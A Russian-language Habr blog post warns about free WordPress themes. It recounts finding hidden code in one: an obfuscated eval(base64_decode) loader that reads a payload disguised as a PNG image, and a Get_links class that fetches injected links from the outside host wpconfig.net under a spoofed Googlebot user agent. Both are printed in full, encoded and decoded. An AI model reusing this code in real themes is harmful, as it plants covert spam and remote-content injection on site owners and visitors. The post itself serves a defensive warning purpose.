Pull to refresh

Будьте внимательны с бесплатными шаблонами

Lumber room
Awaiting invitation
Здравствуйте, уважаемые хаброжители. Не так давно я создал сайт на туристическую тематику. Поставил Wordpress, брат писал статьи, и всё было хорошо, пока я не решил поставить бесплатный шаблон. Для меня сверстать шаблон для wp пол дня работы, но ленивый я, и решил сэкономить на этом время, взяв уже готовый. Нашел с помощью Google сайт, там было пару десятков шаблонов на туристическую тематику, выбрал буквально первый попавшийся. Начал проверять на всякую дрянь, потому что бесплатный сыр только в мышеловке. Было пару ссылок в подвале, я их незамедлительно убрал, но 3-4 ссылки при этом всё равно оставались. Как Вы думаете, куда бы их могли спрятать? В картинку!

При активации шаблона, создавался файл get.php в папке этого же шаблона с непонятным содержимым, там была функция base64_decode и eval, содержимое выглядело примерно так:

<?php eval(base64_decode('JGYgPSBkaXJuYW1lKF9fZmlsZV9fKS4nL2ltYWdlcy93cF9tZW51X3RvcC5wbmcnOwppZiAoZmlsZV9leGlzdHMoJGYpKXsKICAgICRmcCA9IGZvcGVuKCRmLCJyIik7CiAgICAkcyA9IGZyZWFkKCRmcCxmaWxlc2l6ZSgkZikpOwogICAgZmNsb3NlKCRmcCk7CiAgICBldmFsKCckbT0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHMpKS4nOycpOwogICAgJGkwPSRtWzBdOwogICAgJGkxPSRtWzFdOwogICAgJGkyPSRtWzJdOwogICAgJGkzPSRtWzNdOwogICAgdW5zZXQoJG1bMF0sJG1bMV0sJG1bMl0pOwogICAgc2h1ZmZsZSgkbSk7CiAgICAkY3NbMF09JGkwLiRpMS4kbVswXS4kaTIuJG1bMV0uJGkyLiRtWzJdLiRpMzsKICAgICRjc1sxXT0kaTAuJGkxLiRtWzNdLiRpMi4kbVs0XS4kaTIuJG1bNV0uJGkzOwogICAgZWNobyAoJGNzWzBdKTsKICAgIGVjaG8gKCRjc1sxXSk7Cn0KCmZ1bmN0aW9uIGZuKCl7CiAgICBpZigoaXNfaG9tZSgpKSYmIShpc19wYWdlZCgpKSkgJG49YmFzZTY0X2RlY29kZShnZXRfb3B0aW9uKCd3cF90aGVtZV9tZW51X2ZpcnN0JykpO2Vsc2UgJG49YmFzZTY0X2RlY29kZShnZXRfb3B0aW9uKCd3cF90aGVtZV9tZW51X3NlY29uZCcpKTtyZXR1cm4gJG47Cn0KJF9HRVRbJ2dfXyddID0gMTsKZnVuY3Rpb24gY2IoJHBhcmFtKXsKICAgIGVjaG8gKCRfR0VUWydnX18nXT4wKSA/IGZuKCkgOiAnJzsKICAgICRfR0VUWydnX18nXSA9IDA7CiAgICByZXR1cm4gJHBhcmFtOwp9CmlmICgkYikgYWRkX2FjdGlvbignd2lkZ2V0X3RpdGxlJywnY2InKTs='))

А в раскодированном виде так:

<?php
$f = dirname(__file__).'/images/wp_menu_top.png';
if (file_exists($f)){
    $fp = fopen($f,"r");
    $s = fread($fp,filesize($f));
    fclose($fp);
    eval('$m='.gzuncompress(stripslashes($s)).';');
    $i0=$m[0];
    $i1=$m[1];
    $i2=$m[2];
    $i3=$m[3];
    unset($m[0],$m[1],$m[2]);
    shuffle($m);
    $cs[0]=$i0.$i1.$m[0].$i2.$m[1].$i2.$m[2].$i3;
    $cs[1]=$i0.$i1.$m[3].$i2.$m[4].$i2.$m[5].$i3;
    echo ($cs[0]);
    echo ($cs[1]);
}
function fn(){
    if((is_home())&&!(is_paged())) $n=base64_decode(get_option('wp_theme_menu_first'));else $n=base64_decode(get_option('wp_theme_menu_second'));return $n;
}
$_GET['g__'] = 1;
function cb($param){
    echo ($_GET['g__']>0) ? fn() : '';
    $_GET['g__'] = 0;
    return $param;
}
if ($b) add_action('widget_title','cb');

Только без переносов строк, это я их добавил для наглядности.
Сразу в глаза бросилась первая строка:

$f = dirname(__file__).'/images/wp_menu_top.png';

Хотел открыть в графическом редакторе, но не получилось, сразу стало ясно, что там что-то плохое!
Чуть ниже видим gzuncompress (), то есть получаеться, что «картинка» эта, просто сжатый текстовый файл, который опять таки содержал base64 строку, а в ней были ссылки.

После часа возни, я всё таки убрал весь хлам, но если бы не ап PR, я бы не нашел вещь ещё более ужасней. Всё началось так: решил с помощью SEOMonitor проверить, нету ли у меня страниц, кроме главной, которые имеют PR, и просто для любопытства поставил галочку «искать внешние ссылки», какое же у меня было удивление, что кроме LiveInternet есть ещё одна ссылка, совсем левая ссылка, так ещё и в только в одной статье, а на сайте их более 100.

Полез обратно в шаблон, начал искать, и сразу же в файле comments.php вижу это:

<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

Смотрю и думаю: «странный это класс Get_links (), его не должно здесь быть!».

Зашел я в этот function.php, нашел класс, кстати вот код:

error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
 
class Get_links {
 
    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_cache_lifetime    = 21600;
    var $_socket_timeout    = 5;
 
    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
 
         $links_class = new Get_links();
         $host = $links_class->host;
         $path = $links_class->path;
         $_socket_timeout = $links_class->_socket_timeout;
         //$_user_agent = $links_class->_user_agent;
 
        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);
 
        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                    "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);
 
            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
           return '<!--link error-->';
      }
 
    function return_links($lib_path) {
         $links_class = new Get_links();
         $file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
         $_cache_lifetime = $links_class->_cache_lifetime;
        if (!file_exists($file))
        {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } else {
            $data = file_get_contents($file);
            return $data;
        }
    }
}

И сразу же бросилось в глаза это:

var $host = 'wpconfig.net';
var $path = '/system.php';

Проверил wpconfig.net, сайт такой есть, только возвращает он пустую страницу, наверное что-то отдаст с определённым параметром, который передаёт этот метод get_remote (). Ещё он кучу картинок насоздавал в папке /uploads/2012/, все они с хешами md5. Вот этот путь 'wp-content/uploads/2012/'.md5 ($_SERVER['REQUEST_URI']).'.jpg' для создания картинок видно внизу. Все 100+ картинок были пусты, кроме одной, в которой было то, что я нашел в самом начале, это ссылки на на левый сайт.

Будьте внимательны при использовании посторонних бесплатных шаблонов, потому что они могут засунуть любую гадость. Например могут сменить пароли к админке вместе с мылом. Могут удалить статьи, или воровать статьи. Например вы заказали у копирайтера статью, не успели опубликовать, как тут же она опубликуется на более трастовом ресурсе, и все ваши и копирайтера старания к одному месту. Или может возникнуть конфликтная ситуация, когда Вы начнёте подозревать копирайтера в продаже текста третьим лицам. Хотя виноват будет не копирайтер, а Вы. Если не можете найти сами, попросите верстальщика, но лучше конечно заказать новый или купить готовый шаблон, потому что так безопасней.
Tags:
Hubs:
You can’t comment this post because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.